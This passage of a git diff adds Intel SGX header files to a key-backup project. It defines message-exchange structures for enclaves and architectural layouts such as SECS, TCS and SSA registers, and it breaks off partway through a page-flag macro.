+typedef uint8_t dh_nonce[NONCE_SIZE];
+typedef uint8_t cmac_128[MAC_SIZE];
+
+#pragma pack(push, 1)
+
+//Format of the AES-GCM message being exchanged between the source and the destination enclaves
+typedef struct _secure_message_t
+{
+ uint32_t session_id; //Session ID identifyting the session to which the message belongs
+ sgx_aes_gcm_data_t message_aes_gcm_data;
+} secure_message_t;
+
+//Format of the input function parameter structure
+typedef struct _ms_in_msg_exchange_t {
+ uint32_t msg_type; //Type of Call E2E or general message exchange
+ uint32_t target_fn_id; //Function Id to be called in Destination. Is valid only when msg_type=ENCLAVE_TO_ENCLAVE_CALL
+ uint32_t inparam_buff_len; //Length of the serialized input parameters
+ uint8_t inparam_buff[1]; //Serialized input parameters
+} ms_in_msg_exchange_t;
+
+//Format of the return value and output function parameter structure
+typedef struct _ms_out_msg_exchange_t {
+ uint32_t retval_len; //Length of the return value
+ uint32_t ret_outparam_buff_len; //Length of the serialized return value and output parameters
+ uint8_t ret_outparam_buff[1]; //Serialized return value and output parameters
+} ms_out_msg_exchange_t;
+
+//Session Tracker to generate session ids
+typedef struct _session_id_tracker_t
+{
+ uint32_t session_id;
+} session_id_tracker_t;
+
+#pragma pack(pop)
+
+
+#endif
diff --git a/cczoo/machine_binding_key_backup/include/key_exchange/arch.h b/cczoo/machine_binding_key_backup/include/key_exchange/arch.h
new file mode 100644
index 00000000..c26acb03
--- /dev/null
+++ b/cczoo/machine_binding_key_backup/include/key_exchange/arch.h
@@ -0,0 +1,296 @@
+/*
+ *
+ * Copyright (c) 2022 Intel Corporation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#ifndef _SE_ARCH_H_
+#define _SE_ARCH_H_
+
+#include "inst.h"
+#include "se_types.h"
+#include "sgx_attributes.h"
+#include "sgx_key.h"
+#include "sgx_report.h"
+#include "sgx_tcrypto.h"
+
+#define SE_PAGE_SIZE 0x1000
+#define TCS_SIZE SE_PAGE_SIZE
+
+#pragma pack(push, 1)
+
+#define STATIC_ASSERT_UNUSED_ATTRIBUTE __attribute__((unused))
+#define _ASSERT_CONCAT(a, b) a##b
+#define ASSERT_CONCAT(a, b) _ASSERT_CONCAT(a, b)
+#ifdef __cplusplus
+#define se_static_assert(e) static_assert(e, "static assert error")
+#else
+#define se_static_assert(e) typedef char ASSERT_CONCAT(assert_line, __LINE__)[(e)?1:-1] STATIC_ASSERT_UNUSED_ATTRIBUTE
+#endif
+
+se_static_assert(sizeof(sgx_key_request_t) == 512);
+se_static_assert(sizeof(sgx_target_info_t) == 512);
+
+/*SECS data structure*/
+typedef struct _secs_t
+{
+ uint64_t size; /* ( 0) Size of the enclave in bytes */
+ PADDED_POINTER(void, base); /* ( 8) Base address of enclave */
+ uint32_t ssa_frame_size; /* ( 16) size of 1 SSA frame in pages */
+ sgx_misc_select_t misc_select; /* ( 20) Which fields defined in SSA.MISC */
+#define SECS_RESERVED1_LENGTH 24
+ uint8_t reserved1[SECS_RESERVED1_LENGTH]; /* ( 24) reserved */
+ sgx_attributes_t attributes; /* ( 48) ATTRIBUTES Flags Field */
+ sgx_measurement_t mr_enclave; /* ( 64) Integrity Reg 0 - Enclave measurement */
+#define SECS_RESERVED2_LENGTH 32
+ uint8_t reserved2[SECS_RESERVED2_LENGTH]; /* ( 96) reserved */
+ sgx_measurement_t mr_signer; /* (128) Integrity Reg 1 - Enclave signing key */
+#define SECS_RESERVED3_LENGTH 32
+ uint8_t reserved3[SECS_RESERVED3_LENGTH]; /* (160) reserved */
+ sgx_config_id_t config_id; /* (192) CONFIGID */
+ sgx_prod_id_t isv_prod_id; /* (256) product ID of enclave */
+ sgx_isv_svn_t isv_svn; /* (258) Security Version of the Enclave */
+ sgx_config_svn_t config_svn; /* (260) CONFIGSVN */
+#define SECS_RESERVED4_LENGTH 3834
+ uint8_t reserved4[SECS_RESERVED4_LENGTH];/* (262) reserved */
+} secs_t;
+
+
+/*
+TCS
+flags definitions
+*/
+#define DBGOPTIN 1 /* used by debugger */
+
+typedef struct _tcs_t
+{
+ uint64_t reserved0; /* (0) */
+ uint64_t flags; /* (8)bit 0: DBGOPTION */
+ uint64_t ossa; /* (16)State Save Area */
+ uint32_t cssa; /* (24)Current SSA slot */
+ uint32_t nssa; /* (28)Number of SSA slots */
+ uint64_t oentry; /* (32)Offset in enclave to which control is transferred on EENTER if enclave INACTIVE state */
+ uint64_t reserved1; /* (40) */
+ uint64_t ofs_base; /* (48)When added to the base address of the enclave, produces the base address FS segment inside the enclave */
+ uint64_t ogs_base; /* (56)When added to the base address of the enclave, produces the base address GS segment inside the enclave */
+ uint32_t ofs_limit; /* (64)Size to become the new FS limit in 32-bit mode */
+ uint32_t ogs_limit; /* (68)Size to become the new GS limit in 32-bit mode */
+#define TCS_RESERVED_LENGTH 4024
+ uint8_t reserved[TCS_RESERVED_LENGTH]; /* (72) */
+}tcs_t;
+
+se_static_assert(sizeof(tcs_t) == SE_PAGE_SIZE);
+
+/****************************************************************************
+ * Definitions for SSA
+ ****************************************************************************/
+typedef struct _exit_info_t
+{
+ uint32_t vector:8; /* Exception number of exceptions reported inside enclave */
+ uint32_t exit_type:3; /* 3: Hardware exceptions, 6: Software exceptions */
+ uint32_t reserved:20;
+ uint32_t valid:1; /* 0: unsupported exceptions, 1: Supported exceptions */
+} exit_info_t;
+
+#define SE_VECTOR_DE 0
+#define SE_VECTOR_DB 1
+#define SE_VECTOR_BP 3
+#define SE_VECTOR_BR 5
+#define SE_VECTOR_UD 6
+#define SE_VECTOR_MF 16
+#define SE_VECTOR_AC 17
+#define SE_VECTOR_XM 19
+
+typedef struct _ssa_gpr_t
+{
+ REGISTER( ax); /* (0) */
+ REGISTER( cx); /* (8) */
+ REGISTER( dx); /* (16) */
+ REGISTER( bx); /* (24) */
+ REGISTER( sp); /* (32) */
+ REGISTER( bp); /* (40) */
+ REGISTER( si); /* (48) */
+ REGISTER( di); /* (56) */
+ uint64_t r8; /* (64) */
+ uint64_t r9; /* (72) */
+ uint64_t r10; /* (80) */
+ uint64_t r11; /* (88) */
+ uint64_t r12; /* (96) */
+ uint64_t r13; /* (104) */
+ uint64_t r14; /* (112) */
+ uint64_t r15; /* (120) */
+ REGISTER(flags); /* (128) */
+ REGISTER( ip); /* (136) */
+ REGISTER( sp_u); /* (144) untrusted stack pointer. saved by EENTER */
+ REGISTER( bp_u); /* (152) untrusted frame pointer. saved by EENTER */
+ exit_info_t exit_info; /* (160) contain information for exits */
+ uint32_t reserved; /* (164) padding to multiple of 8 bytes */
+ uint64_t fs; /* (168) FS register */
+ uint64_t gs; /* (176) GS register */
+} ssa_gpr_t;
+
+typedef uint64_t si_flags_t;
+
+#define SI_FLAG_NONE 0x0
+#define SI_FLAG_R 0x1 /* Read Access */
+#define SI_FLAG_W 0x2 /* Write Access */
+#define SI_FLAG_X 0x4 /* Execute Access */
+#define SI_FLAG_PT_LOW_BIT 0x8 /* PT low bit */
+#define SI_FLAG_PT_MASK (0xFF<
+